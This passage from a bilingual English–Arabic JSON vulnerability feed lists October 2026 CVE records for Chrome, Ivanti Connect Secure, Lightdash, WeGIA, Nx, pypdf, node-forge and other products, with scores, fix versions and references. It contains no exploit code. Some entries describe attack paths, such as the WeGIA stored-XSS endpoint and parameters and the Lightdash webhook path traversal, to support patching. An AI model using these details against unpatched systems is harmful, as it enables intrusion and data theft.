عشوائية داخل الحصانة"},"summary":{"en":"Integer overflow in Editing in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى فيضان عدد صحيح ضمن Editing في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/576984708","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119269","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Use after free in Blink in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted H","ar":"استخدام الذاكرة بعد تحريرها في Blink في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل الحصانة"},"summary":{"en":"Use after free in Blink in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في Blink في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/577072000","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119270","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Improper input validation in CacheStorage in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code insi","ar":"التحقق غير السليم من المدخلات في CacheStorage في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية"},"summary":{"en":"Improper input validation in CacheStorage in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى التحقق غير السليم من المدخلات في CacheStorage في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/577333729","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119260","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:44Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Use after free in Frames in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted ","ar":"استخدام الذاكرة بعد تحريرها في Frames في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل الحصانة"},"summary":{"en":"Use after free in Frames in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في Frames في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/573264074","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119261","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:44Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Improper input validation in Skia in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code outside the ","ar":"التحقق غير السليم من المدخلات في Skia في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج"},"summary":{"en":"Improper input validation in Skia in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى التحقق غير السليم من المدخلات في Skia في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/574213633","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119262","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:44Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Improper input validation in V8 in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the san","ar":"التحقق غير السليم من المدخلات في V8 في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة"},"summary":{"en":"Improper input validation in V8 in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى التحقق غير السليم من المدخلات في V8 في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/574660146","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-111357","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-829","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-30T00:00:00Z","product":"Ivanti Connect Secure","affected":[["25.1.0.0 – <25.1.1.3","25.1.1.3"]],"title":{"en":"Ivanti Connect Secure Missing Authentication for Critical Function Vulnerability","ar":"ثغرة غياب المصادقة لوظيفة حرجة في Ivanti Connect Secure"},"summary":{"en":"Ivanti Connect Secure contains a missing authentication for critical function vulnerability that could allow a local authenticated attacker to escalate their privileges. This vulnerability can be chained with CVE-2026-104935 and CVE-2026-118527.","ar":"يحتوي Ivanti Connect Secure على ثغرة غياب المصادقة لوظيفة حرجة والتي قد تسمح لمهاجم محلي مصدق له بتصعيد صلاحياته. يمكن ربط هذه الثغرة بـ CVE-2026-104935 وCVE-2026-118527."},"refs":[["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US","advisory"],["https://www.cisa.gov/news-events/alerts/2026/10/13/cisa-urges-patching-newly-exploited-vulnerability-ivanti-connect-secure","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-111357","advisory"],["https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/","advisory"],["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111357","ref"]],"epss":0.0053,"kevAdded":"2026-10-30T00:00:00Z","kevDue":"2026-11-02T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"ivanti-connect-secure"},{"id":"CVE-2026-117183","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"A path traversal vulnerability in the FeaturedImage component of astro-notion-blog 0.13.0 allows attackers to escape the intended directory, as well a","ar":"تتيح ثغرة اجتياز المسار في مكون FeaturedImage في astro-notion-blog 0.13.0 للمهاجمين الهروب من المجلد المقصود، بالإضافة إلى"},"summary":{"en":"A path traversal vulnerability in the FeaturedImage component of astro-notion-blog 0.13.0 allows attackers to escape the intended directory, as well as read and overwrite files on the server via a crafted URL.","ar":"تتيح ثغرة اجتياز المسار في مكون FeaturedImage في astro-notion-blog الإصدار 0.13.0 للمهاجمين الهروب من المجلد المقصود، فضلاً عن قراءة والكتابة فوق الملفات الموجودة على الخادم عبر رابط مُصمّم خصيصًا."},"refs":[["https://github.com/otoyo/astro-notion-blog/issues/255","ref"],["https://github.com/Primandito/CVE-2026-117183","ref"]],"epss":0.0049,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-117184","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"An issue in the GraphQL endpoint of traggo server v0.8.3 allows attackers to cause a Denial of Service (DoS) via a crafted POST request to the GraphQL","ar":"تؤدي مشكلة في نقطة نهاية GraphQL الخاصة بـ traggo server v0.8.3 إلى السماح للمهاجمين بالتسبب في حجب الخدمة (DoS) عبر طلب POST مصمم خصيصاً إلى نقطة نهاية GraphQL"},"summary":{"en":"An issue in the GraphQL endpoint of traggo server v0.8.3 allows attackers to cause a Denial of Service (DoS) via a crafted POST request to the GraphQL endpoint","ar":"تؤدي مشكلة في نقطة نهاية GraphQL الخاصة بـ traggo server v0.8.3 إلى السماح للمهاجمين بالتسبب في حجب الخدمة (DoS) عبر طلب POST مصمم خصيصاً إلى نقطة نهاية GraphQL"},"refs":[["https://github.com/traggo/server/issues/253","ref"],["https://github.com/Primandito/CVE-2026-117184","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-61654","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T22:17:05Z","product":"lightdash lightdash","affected":[],"title":{"en":"Lightdash: Unauthenticated dbt Cloud webhook with path injection leaks API key","ar":"Lightdash: خطاف ويب dbt Cloud دون مصادقة مع حقن المسار يسرب مفتاح API"},"summary":{"en":"Lightdash is an open source business intelligence platform. In affected versions through 0.3213.0, the dbt Cloud webhook `POST /api/v1/projects/{projectUuid}/dbt-cloud/webhook` has no authentication middleware or signature validation. In `packages/backend/src/controllers/projectController.ts`, `testWebhook()` accepts `accountId` and `runId` from a `job.run.completed` request and passes them to `createPreviewWithExplores()` in `packages/backend/src/services/ProjectService/ProjectService.ts`. These unsanitized values are interpolated into the server-side dbt Cloud API URL, which is requested with the victim project's API key in the `Authorization` header. Path traversal through `accountId` changes the requested path on `cloud.getdbt.com` without changing its host, so the credential-bearing request reaches an attacker-influenced path on that fixed host. The advisory claims API-key theft, but the supplied evidence does not establish that the attacker can observe the `Authorization` header. The unauthenticated webhook also allows preview creation. The target must be a `dbt Cloud IDE` project and the attacker must know its `projectUuid`; the UUID is not enumerable but can be discovered in shared or multi-tenant contexts. Version 0.3214.0 fixes identifier path traversal and verifies webhook HMAC signatures only when a secret is configured; without a secret, unsigned webhooks continue to be processed.","ar":"Lightdash هي منصة ذكاء أعمال مفتوحة المصدر. في الإصدارات المتأثرة حتى 0.3213.0، لا يحتوي خطاف الويب `POST /api/v1/projects/{projectUuid}/dbt-cloud/webhook` الخاص بـ dbt Cloud على وسيط مصادقة أو التحقق من صحة التوقيع. في `packages/backend/src/controllers/projectController.ts`، تقبل الدالة `testWebhook()` المعرفين `accountId` و `runId` من طلب `job.run.completed` وتمررهما إلى `createPreviewWithExplores()` في `packages/backend/src/services/ProjectService/ProjectService.ts`. يتم إدراج هذه القيم غير المطهرة في عنوان URL الخاص بـ dbt Cloud من جهة الخادم، والذي يتم طلبه باستخدام مفتاح API للمشروع الضحية في ترويسة `Authorization`. يؤدي اجتياز المسار عبر `accountId` إلى تغيير المسار المطلوب على `cloud.getdbt.com` دون تغيير مضيفه، بحيث يصل الطلب الحامل لبيانات الاعتماد إلى مسار يتأثر به المهاجم على هذا المضيف الثابت. تزعم الاستشارية سرقة مفتاح API، لكن الأدلة المقدمة لا تثبت أن المهاجم يمكنه مراقبة ترويسة `Authorization`. يسمح خطاف الويب دون مصادقة أيضًا بإنشاء معاينات. يجب أن يكون الهدف مشروع `dbt Cloud IDE` ويجب أن يعرف المهاجم `projectUuid` الخاص به؛ معرف UUID غير قابل للتعداد ولكن يمكن اكتشافه في السياقات المشتركة أو متعددة المستأجرين. يصحح الإصدار 0.3214.0 اجتياز مسار المعرف ويتحقق من توقيعات HMAC لخطاف الويب فقط عند تكوين سر؛ بدون سر، تستمرار معالجة خطافات الويب غير الموقعة."},"refs":[["https://github.com/lightdash/lightdash/commit/8d1d9bb6804bbea66a7bdf1b9b00092665382f14","ref"],["https://github.com/lightdash/lightdash/pull/24587","ref"],["https://github.com/lightdash/lightdash/releases/tag/0.3214.0","ref"],["https://github.com/lightdash/lightdash/security/advisories/GHSA-r4xc-vwqr-3252","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"lightdash"},{"id":"CVE-2026-61719","cvss":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T21:26:27Z","product":"LabRedesCefetRJ WeGIA","affected":[],"title":{"en":"WeGIA: Stored Cross-Site Scripting (XSS) in \"historico_prontuarios.php\" via \"textoProntuario\" Field","ar":"WeGIA: ثغرة البرمجة العابثة للمواقع المخزنة (Stored XSS) في \"historico_prontuarios.php\" عبر حقل \"textoProntuario\""},"summary":{"en":"WeGIA is a web manager for charitable institutions. Prior to 3.8.7, a stored cross-site scripting vulnerability in `saude/historico_prontuarios.php` arises because the `textoProntuario` field accepts arbitrary HTML or JavaScript without proper sanitization. An attacker able to create or access a patient's medical record can submit the field through `POST /controle/control.php` with `nomeClasse=SaudeControle`, `metodo=alterarProntuario`, and `id_fichamedica`. The stored content is rendered when another user accesses `/html/saude/historico_prontuarios.php` with `id_historico`, automatically executing attacker-controlled JavaScript in the victim's browser. The vulnerability permits session cookie theft and potential account compromise depending on the victim's privileges. This issue is fixed in version 3.8.7.","ar":"نظام WeGIA هو مدير ويب للمؤسسات الخيرية. في الإصدارات السابقة لـ 3.8.7، تنشأ ثغرة برمجة عابثة للمواقع المخزنة في الملف `saude/historico_prontuarios.php` لأن حقل `textoProntuario` يقبل لغة HTML أو JavaScript العشوائية دون تعقيم مناسب. يمكن للمهاجم القادر على إنشاء سجل طبي لمريض أو الوصول إليه إرسال الحقل عبر `POST /controle/control.php` مع `nomeClasse=SaudeControle` و `metodo=alterarProntuario` و `id_fichamedica`. يتم عرض المحتوى المخزّن عندما يمتلك مستخدم آخر حق الوصول إلى الملف `/html/saude/historico_prontuarios.php` باستخدام `id_historico`، مما يؤدي تلقائياً إلى تنفيذ شيفرة JavaScript يسيطر عليها المهاجم في متصفح الضحية. تسمح الثغرة بسرقة ملفات تعريف ارتباط الجلسة (session cookies) والكومبرومايز المحتمل للحساب اعتماداً على صلاحيات الضحية. تم إصلاح هذه المشكلة في الإصدار 3.8.7."},"refs":[["https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-qm7p-cprp-f974","ref"],["https://github.com/LabRedesCefetRJ/WeGIA/issues/1704","ref"],["https://github.com/LabRedesCefetRJ/WeGIA/commit/52eeca63e9df1298c6f661d55aa26dc9eb0f564d","ref"],["https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.8.7","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"labredescefetrj-wegia"},{"id":"CVE-2026-119282","cvss":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T21:07:46Z","product":"nrwl nx","affected":[],"title":{"en":"Nx: OS command injection via nx.json plugin options in @nx/maven and @nx/gradle","ar":"Nx: حقن أوامر نظام التشغيل عبر خيارات الإضافة nx.json في @nx/maven و@nx/gradle"},"summary":{"en":"Nx is a monorepo solution for TypeScript and polyglot codebases. From 22.0.2 until 22.7.9 and 23.1.2 for @nx/maven, and from 21.0.0 until 22.7.9 and 23.1.2 for @nx/gradle, the plugins' project-graph analyzers launch through a shell and interpolate plugin options from nx.json into command arguments. The @nx/maven targetNamePrefix value and arbitrary @nx/gradle option names or values can therefore be interpreted as shell syntax whenever an nx command constructs the project graph. A user who runs Nx in an attacker-controlled repository or pull request can execute injected commands with the user's privileges, while workspaces that register neither affected plugin are not exposed to this path. Remediation requires upgrading both nx and each affected plugin to matching releases because the plugin fix depends on code in the nx package. This issue is fixed in versions 22.7.9 and 23.1.2.","ar":"Nx هو حل مستودع موحد لقواعد بيانات TypeScript واللغات المتعددة. من الإصدار 22.0.2 حتى 22.7.9 و23.1.2 لـ @nx/maven، ومن 21.0.0 حتى 22.7.9 و23.1.2 لـ @nx/gradle، تبدأ محللات رسم بياني المشروع للإضافات من خلال صدفة (shell) وتقوم بإدراج خيارات الإضافة من nx.json في وسائط الأوامر. ونتيجة لذلك، يمكن تفسير قيمة @nx/maven targetNamePrefix وأسماء أو قيم خيارات @nx/gradle العشوائية كبنية صدفة كلما قام أمر nx بناء الرسم البياني للمشروع. يمكن للمستخدم الذي يشغل Nx في مستودع يتحكم فيه مهاجم أو طلب سحب تنفيذ الأوامر المحقونة بصلاحيات المستخدم، بينما لا تتعرض مساحة العمل التي لا تسجل أي إضافة متأثرة لهذا المسار. يتطلب الإصلاح ترقية كل من nx وكل إضافة متأثرة إلى إصدارات متطابقة لأن اصلاح الإضافة يعتمد على الشفرة البرمجية في حزمة nx. تم إصلاح هذه المشكلة في الإصدارين 22.7.9 و23.1.2."},"refs":[["https://github.com/nrwl/nx/security/advisories/GHSA-qm8w-vx34-5j9j","ref"],["https://github.com/nrwl/nx/pull/36626","ref"],["https://github.com/nrwl/nx/commit/02c5d59e8dbbbe30963c0181c6a22cd8c1190a25","ref"],["https://github.com/nrwl/nx/commit/60196b7cfcffcada35b6b90e53bf1a78d049b548","ref"],["https://github.com/nrwl/nx/commit/c227f4780b054c512965c73aa480a48f9f781409","ref"],["https://github.com/nrwl/nx/releases/tag/22.7.9","ref"],["https://github.com/nrwl/nx/releases/tag/23.1.2","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nrwl-nx"},{"id":"CVE-2026-119206","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T20:37:15Z","product":"py-pdf pypdf","affected":[["< 6.21.3","6.21.3"],[" – <6.21.3","6.21.3"]],"title":{"en":"pypdf: Possible long runtimes when retrieving page labels","ar":"pypdf: احتمالية أوقات تشغيل طويلة عند استرجاع تسميات الصفحات"},"summary":{"en":"pypdf is a free and open-source pure-python PDF library. Prior to 6.21.3, pypdf can take excessive time to retrieve page labels from a crafted PDF containing a flat page-label number tree with many ranges. The page_labels property resolves each page independently and repeatedly scans the same /Nums array from the beginning, causing work to grow with both the page count and the number of label ranges. This issue is fixed in version 6.21.3.","ar":"مكتبة pypdf هي مكتبة PDF مجانية ومفتوحة المصدر مكتوبة بلغة بايثون الخالصة. قبل الإصدار 6.21.3، قد تستغرق pypdf وقتاً مفرطاً لاسترجاع تسميات الصفحات من ملف PDF مُصمم يحتوي على شجرة أرقام تسميات صفحات مسطحة مع نطاقات عديدة. تقوم خاصية page_labels بحل كل صفحة بشكل مستقل وتقوم مراراً وتكراراً بمسح مصفوفة /Nums ذاتها من البداية، مما يتسبب في نمو العمل مع كل من عدد الصفحات وعدد نطاقات التسميات. تم إصلاح هذه المشكلة في الإصدار 6.21.3."},"refs":[["https://github.com/py-pdf/pypdf/security/advisories/GHSA-42gh-23hr-vphw","patch"],["https://github.com/py-pdf/pypdf/pull/4251","patch"],["https://github.com/py-pdf/pypdf/commit/b891fef37000cd86baa6e9848a3387d080b3b03e","patch"],["https://github.com/advisories/GHSA-42gh-23hr-vphw","advisory"],["https://github.com/py-pdf/pypdf/releases/tag/6.21.3","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119206","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"py-pdf-pypdf"},{"id":"CVE-2026-51831","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T20:17:31Z","product":"Unknown product","affected":[],"title":{"en":"An issue in IDrive IDrive Backup for Windows Version 7.0.1.1 and below affected, remediated in Version 7.0.1.2 allows a local attacker to execute arbi","ar":"مشكلة في IDrive IDrive Backup لصالح Windows الإصدار 7.0.1.1 وما دونه والمُعالجة في الإصدار 7.0.1.2 تسمح لمهاجم محلي بتنفيذ شيفرة عشوائية"},"summary":{"en":"An issue in IDrive IDrive Backup for Windows Version 7.0.1.1 and below affected, remediated in Version 7.0.1.2 allows a local attacker to execute arbitrary code via the id_service.exe component","ar":"مشكلة في IDrive IDrive Backup لصالح Windows الإصدار 7.0.1.1 وما دونه والمُعالجة في الإصدار 7.0.1.2 تسمح لمهاجم محلي بتنفيذ شيفرة عشوائية عبر مكون id_service.exe"},"refs":[["https://frsecure.com/blog/idrive-vulnerabilities-cve-2026-51831-and-cve-2026-51832/","ref"],["https://www.idrive.com/release-info#win","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-119191","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T20:17:30Z","product":"Digitalbazaar Forge","affected":[[" – <1.4.1","1.4.1"]],"title":{"en":"Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript.","ar":"مكتبة Forge (المسماة أيضًا node-forge) هي تنفيذ أصلي لأمان طبقة النقل (Transport Layer Security) بلغة JavaScript."},"summary":{"en":"Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, the affected implementation used asn1.fromDer(), BIT STRING decoding, maxDepth to process the relevant input or security decision. node-forge decoded ASN.1 stored inside BIT STRING values without consistently applying the configured maxDepth limit and recursively retained copies at each nesting level. Crafted DER containing nested BIT STRINGs could cause excessive recursion, CPU use, and quadratic memory consumption during asn1.fromDer(). This issue is fixed in version 1.4.1.","ar":"تعد Forge (المسماة أيضًا node-forge) تنفيذًا أصليًا لأمان طبقة النقل في JavaScript. قبل الإصدار 1.4.1، استخدم التنفيذ المتأثر asn1.fromDer()، وفك تشفير BIT STRING، وmaxDepth لمعالجة الإدخال ذي الصلة أو قرار الأمان. قامت node-forge بفك تشفير ASN.1 المخزن داخل قيم BIT STRING دون تطبيق حد maxDepth المُكوّن بشكل متسق، واحتفظت بنسخ متداخلة بشكل متكرر في كل مستوى من مستويات التداخل. قد تتسبب بيانات DER المصممة التي تحتوي على عناصر BIT STRING متداخلة في حدوث استدعاء عودي مفرط، واستخدام عالٍ للمعالجة (CPU)، واستهلاك تربيعي للذاكرة أثناء تنفيذ asn1.fromDer(). تم إصلاح هذه الثغرة في الإصدار 1.4.1."},"refs":[["https://github.com/digitalbazaar/forge/commit/24035c181f41885ea3ec7279e6c0fcf270b6ec4b","patch"],["https://github.com/digitalbazaar/forge/commit/523c8e74c28457daeff044230dce4a36313c5ab7","patch"],["https://github.com/digitalbazaar/forge/security/advisories/GHSA-rhr8-3pm8-cq29","advisory"],["https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"digitalbazaar-forge"},{"id":"CVE-2026-119250","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-73","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-29T18:26:35Z","product":"Ubiquiti Inc WiFiman Desktop","affected":[["0 – <1.3.0","1.3.0"]],"title":{"en":"A malicious actor with local access and low privileges could exploit an External Control of File Name or Path vulnerability found in WiFiman Desktop t","ar":"جهة خبيثة تملك وصولاً محلياً وصلاحيات منخفضة قد تستغل ثغرة تحكم خارجي في اسم الملف أو مساره في WiFiman Desktop"},"summary":{"en":"A malicious actor with local access and low privileges could exploit an External Control of File Name or Path vulnerability found in WiFiman Desktop to execute arbitrary commands with root privileges on the host device.","ar":"يمكن لجهة خبيثة تملك وصولاً محلياً وصلاحيات منخفضة استغلال ثغرة تحكم خارجي في اسم الملف أو مساره (External Control of File Name or Path) موجودة في WiFiman Desktop لتنفيذ أوامر عشوائية بصلاحيات root على الجهاز 